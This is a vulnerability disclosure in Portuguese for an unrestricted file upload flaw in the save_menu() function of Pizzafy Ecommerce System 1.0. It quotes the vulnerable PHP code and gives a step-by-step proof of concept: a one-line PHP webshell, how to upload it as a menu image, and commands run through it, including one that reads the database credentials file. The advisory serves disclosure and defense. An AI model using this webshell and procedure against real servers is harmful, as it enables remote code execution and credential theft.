Pizzafy Ecommerce System 1.0 – Upload de Arquivo sem Restrições em save_menu() Leva à Execução Remota de Código

Detalhes

Componente Afetado

Arquivo: Pizzafy/admin/admin_class_novo.php → função save_menu()
Parâmetro: img (FILE)
Caminho de upload: Pizzafy/assets/img/

Descrição

A função save_menu() no Pizzafy Ecommerce System 1.0 lida com uploads de imagens para itens do menu sem realizar nenhuma validação de tipo de arquivo. A aplicação recupera a extensão do arquivo usando pathinfo(), mas nunca verifica ou restringe os tipos de arquivo permitidos antes de mover o arquivo enviado para o diretório acessível pela web assets/img/. Um administrador autenticado pode fazer upload de um webshell PHP disfarçado como uma imagem de menu, e então acessá-lo diretamente via navegador para obter Execução Remota de Código no servidor.

Código vulnerável em admin_class_novo.php:

function save_menu(){
    extract($_POST);
    // ...
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    // Nenhuma verificação de extensão, nenhuma verificação de tipo MIME
}

Prova de Conceito

Passo 1 — Criar Webshell PHP

Crie um arquivo chamado shell_web2.php com o seguinte conteúdo:

<?php echo shell_exec($_GET['cmd']); ?>

Passo 2 — Enviar Webshell via Gerenciamento de Menu

Faça login como administrador e navegue para:

http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu

Preencha o Formulário de Menu com valores válidos e selecione shell_web2.php como o arquivo de Imagem. Clique em Salvar.

O shell agora aparece como um item de menu na página voltada ao cliente.

Passo 3 — Localizar o Shell Enviado

Navegue até o diretório assets — a listagem de diretórios está ativada (CWE-548):

http://192.168.0.9/pizzafy/Pizzafy/assets/img/

O shell PHP enviado está visível na listagem de diretórios.

Passo 4 — Executar Comandos Remotos

Acesse o shell enviado diretamente e passe comandos do sistema via parâmetro cmd:

http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami

Resposta — comando do SO executado no servidor:

desktop-g1i9np3\dell

Comandos Adicionais

?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php

Impacto

Um administrador autenticado pode:

• Enviar arquivos PHP arbitrários para o servidor web
• Executar qualquer comando a nível de SO no servidor
• Ler arquivos confidenciais, incluindo credenciais do banco de dados
• Estabelecer um reverse shell para acesso persistente completo
• Comprometer completamente o servidor subjacente

Nota sobre Listagem de Diretórios (CWE-548)

O diretório assets/img/ tem a listagem de diretórios ativada, permitindo que usuários não autenticados naveguem por todos os arquivos enviados, incluindo o webshell. Isso agrava a gravidade da vulnerabilidade de upload de arquivos.

Referências

• SourceCodester — Pizzafy Ecommerce System
• CWE-434: Upload sem Restrições de Arquivo com Tipo Perigoso
• CWE-548: Exposição de Informações Através de Listagem de Diretórios